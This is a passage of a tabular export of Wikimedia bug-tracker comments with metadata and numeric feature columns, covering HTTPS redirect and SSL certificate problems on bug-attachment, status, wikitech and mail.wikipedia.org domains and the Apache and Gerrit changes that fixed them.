Wild guesses: There are some calls for
* do_ssl_redirect_if_required()
* redirect_to_urlbase()
in attachment.cgi which might be the reason for our issues?"
230942,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","giving to default assignee for now and removing patch-in-gerrit keyword.

maybe someone with shell on kaulen can take a crack at it or I may look again at some point.",,,1362018458,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,False,,,-26,True,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,19.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.72972972972973,0.918918918918919,"giving to default assignee for now and removing patch-in-gerrit keyword.

maybe someone with shell on kaulen can take a crack at it or I may look again at some point."
230934,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","(In reply to comment #4)
> Want to try that again now that the apache conf change has been deployed?

Done. Still doesn't work, same result as for http.",,,1361927162,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-26,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9166666666666665,0.9583333333333334,"(In reply to comment #4)
QUOTE

Done. Still doesn't work, same result as for http."
230928,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","(In reply to comment #5)
> The above urls still redirect to http://.

I'm not sure what your point is. Comment #4 still holds.",,,1361907384,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,False,,,-27,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8461538461538463,0.9230769230769231,"(In reply to comment #5)
QUOTE

I'm not sure what your point is. Comment #4 still holds."
230922,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","(In reply to comment #0)
> * View https://bugzilla.wikimedia.org/attachment.cgi?id=829&action=edit
> * Click ""View Attachment as Diff""
> 
> 
> Request url:
> https://bug-attachment.wikimedia.org/attachment.cgi?id=829
> 

https://bug-attachment.wikimedia.org/attachment.cgi?id=827

The above urls still redirect to http://.",,,1361881826,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-27,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,34.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.09375,0.53125,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

URL

The above urls still redirect to URL"
230917,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","(In reply to comment #1)
> Value for   attachment_base   in Bugzilla is set to
>    http://bug-attachment.wikimedia.org/
> Changing it to
>    https://bug-attachment.wikimedia.org/ 
> won't fix this but the redirection would trigger 
[...]

Want to try that again now that the apache conf change has been deployed?",,,1361848225,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,False,,,-27,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,3.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,11.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.1052631578947367,0.7105263157894737,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
[...]

Want to try that again now that the apache conf change has been deployed?"
230913,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","https://gerrit.wikimedia.org/r/#/c/49200/

RT #2490",,,1361186746,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4,1.0,"URL

RT #2490"
230908,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","Needs to fix apache configuration to not redirect this domain.

Though I can't find an entry for this redirect in the operations/apache-config.git repo.",,,1360669160,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-29,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.225806451612903,0.8387096774193549,"Needs to fix apache configuration to not redirect this domain.

Though I can't find an entry for this redirect in the operations/apache-config.git repo."
230903,"Bugzilla: Diff viewer broken (bug-attachment.wikimedia.org/attachment.cgi is blocked, HTTP only)","Confirming problem.

Value for   attachment_base   in Bugzilla is set to
   http://bug-attachment.wikimedia.org/
Changing it to
   https://bug-attachment.wikimedia.org/ 
won't fix this but the redirection would trigger e.g. ""the page isn't displaying properly"" in Firefox and still wouldn't enable ""View Attachment as Diff"".

Looks like nothing I could fix in Bugzilla itself.",,,1360306685,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4x6z4jjcyrncydazjosh,task_subcomment,,True,c2,1,True,,,-29,True,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,2.0,3.0,9.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,5.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,20.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,12.0,9.0,0.0,6.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,4.045454545454546,0.696969696969697,"Confirming problem.

Value for   attachment_base   in Bugzilla is set to
   URL
Changing it to
   URL 
won't fix this but the redirection would trigger e.g. ""the page isn't displaying properly"" in Firefox and still wouldn't enable ""View Attachment as Diff"".

Looks like nothing I could fix in Bugzilla itself."
46760,SSL certificate for https://status.wikimedia.org/,"Both domains return an ""untrusted connection"" warning if accessed through the https protocol.

For wikitech, but 22926 is related.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: https://wikitech.wikimedia.org",Medium,50.0,1360257300,1363469248.0,PHID-USER-uazrhtptdqudzoqfefsc,False,,False,PHID-TASK-h2zfikbf6khroavaepxu,task_description,resolved,True,c2,1,False,False,True,-29,True,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,11.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7735849056603774,0.6415094339622641,"Both domains return an ""untrusted connection"" warning if accessed through the https protocol.

For wikitech, but 22926 is related.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: URL"
229777,SSL certificate for https://status.wikimedia.org/,"

*** This bug has been marked as a duplicate of bug 32796 ***",,,1363469248,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-h2zfikbf6khroavaepxu,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 32796 ***"
229771,SSL certificate for https://status.wikimedia.org/,Wikitech is in the process of being migrated to labsconsole. The SSL cert on wikitech-static.wikimedia.org is fine now,,,1362092643,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-h2zfikbf6khroavaepxu,task_subcomment,,True,c2,1,True,,,-26,True,0.0,0.0,0.0,5.0,0.0,5.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,16.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.315789473684211,0.9473684210526315,Wikitech is in the process of being migrated to labsconsole. The SSL cert on wikitech-static.wikimedia.org is fine now
229765,SSL certificate for https://status.wikimedia.org/,"For status, this is RT #1849.",,,1360305266,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-h2zfikbf6khroavaepxu,task_subcomment,,True,c2,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,"For status, this is RT #1849."
229759,SSL certificate for https://status.wikimedia.org/,"I thought wikitech already had a bug for this.. Apparently not, but I guess there is an RT ticket",,,1360292001,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-h2zfikbf6khroavaepxu,task_subcomment,,True,c2,1,True,,,-29,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,19.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.761904761904762,0.9523809523809523,"I thought wikitech already had a bug for this.. Apparently not, but I guess there is an RT ticket"
46731,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"When you visit:

https://mail.wikipedia.org/mailman/listinfo/wikitech-l

it provides the cert for *.wikimedia.org

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=68553
https://rt.wikimedia.org/Ticket/Display.html?id=6981
https://bugzilla.wikimedia.org/show_bug.cgi?id=73290",Medium,50.0,1360196820,1414468103.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-kb2p62lvglctaglot7yk,task_description,resolved,True,c2,1,False,False,False,-29,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,9.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3043478260869565,0.45652173913043476,"When you visit:

URL

it provides the cert for *.wikimedia.org

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL
URL"
227852,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"Thanks for updating the patches. LGTM.

https://www.google.com/search?q=site%3Amail.wikipedia.org has ~2850 results.

Let's check in a week or three and see if that has improved.",,,1414468468,,PHID-USER-7ey733eainlhx5xqp4d3,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,60,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,3.0,7.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,3.0,10.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.466666666666667,0.8333333333333334,"Thanks for updating the patches. LGTM.

URL has ~2850 results.

Let's check in a week or three and see if that has improved."
227847,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),This should be fixed now. Thanks Jeremy for all the work!,,,1414468103,,PHID-USER-ktuojnvco4fpzmyhzyaf,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,True,,,60,True,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,23.0,0.0,0.0,23.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,1.0,This should be fixed now. Thanks Jeremy for all the work!
227841,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"Change 154222 merged by Faidon Liambotis:
Move mail.wikipedia.org to the main cluster

https://gerrit.wikimedia.org/r/154222",,,1414451823,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,60,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,31.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.4375,1.0,"Change 154222 merged by Faidon Liambotis:
Move mail.wikipedia.org to the main cluster

GERRIT_URL"
227835,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"Change 154223 merged by Faidon Liambotis:
Redirect mail.wikipedia.org to lists.wikimedia.org

https://gerrit.wikimedia.org/r/154223",,,1414447431,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,60,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,14.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.857142857142857,1.0,"Change 154223 merged by Faidon Liambotis:
Redirect mail.wikipedia.org to lists.wikimedia.org

GERRIT_URL"
227828,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"btw, I tested mail to a -request address @mail.wikipedia.org (subject=""help"") and got the same response I would expect for mail to the canonical address.

This change *should* keep that status quo working fine...",,,1408063307,,PHID-USER-7ey733eainlhx5xqp4d3,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,50,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,10.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,4.560975609756097,0.8780487804878049,"btw, I tested mail to a -request addressSCREEN_NAME.wikipedia.org (subject=""help"") and got the same response I would expect for mail to the canonical address.

This change *should* keep that status quo working fine..."
227821,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"Change 154223 had a related patch set uploaded by Jeremyb:
fix cert mismatch on mail.wikipedia.org

https://gerrit.wikimedia.org/r/154223",,,1408062935,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,50,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.105263157894737,1.0,"Change 154223 had a related patch set uploaded by Jeremyb:
fix cert mismatch on mail.wikipedia.org

GERRIT_URL"
227812,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"Change 154222 had a related patch set uploaded by Jeremyb:
fix cert mismatch on mail.wikipedia.org

https://gerrit.wikimedia.org/r/154222",,,1408062923,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,50,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.105263157894737,1.0,"Change 154222 had a related patch set uploaded by Jeremyb:
fix cert mismatch on mail.wikipedia.org

GERRIT_URL"
227802,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"I would recommend not turning off HTTPS on the domain if that is the direction the discussion is heading.  I like the idea of even just the simple redirect being secure.

> Just to be clear, the result Zell mentioned is HTTP
> (http://mail.wikipedia.org/pipermail/wikitech-l/), not HTTPS, so that
> particular link would only affect HTTPS Everywhere (or similar) users.

This is correct.  I use HTTPS Everywhere, and there are quite a lot of people who do, especially within the sort of community that searches for technical mailing list archives.",,,1406384800,,PHID-USER-2qzpsivaeuezrxqtzhwn,True,,,PHID-TASK-kb2p62lvglctaglot7yk,task_subcomment,,True,c2,3,False,,,47,True,0.0,0.0,0.0,0.0,1.0,5.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,1.0,0.0,16.0,3.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,7.0,13.0,1.0,1.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,11.0,3.0,0.0,0.0,0.0,4.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,4.0394736842105265,0.7105263157894737,"I would recommend not turning off HTTPS on the domain if that is the direction the discussion is heading.  I like the idea of even just the simple redirect being secure.

QUOTE
QUOTE
QUOTE

This is correct.  I use HTTPS Everywhere, and there are quite a lot of people who do, especially within the sort of community that searches for technical mailing list archives."
227794,Wrong cert on mail.wikipedia.org (as it redirects to lists.wikimedia.org),"(In reply to Matthew Flaschen from comment #9)
> (In reply to Matthew Flaschen from comment #8)
> > I'm not sure of GoogleBot's behavior in this regard. (Apparently, they send
> > warnings out through Webmaster Tools, but I'm not sure how it affects the
> > actual index).
> 
> Just to be clear, the result Zell mentioned is HTTP
> (http://mail.wikipedia.org/pipermail/wikitech-l/), not HTTPS, so that
> particular link would only affect HTTPS Everywhere (or similar) users.

HTTPS was enabled on this domain because of a HTTPS Everywhere user:
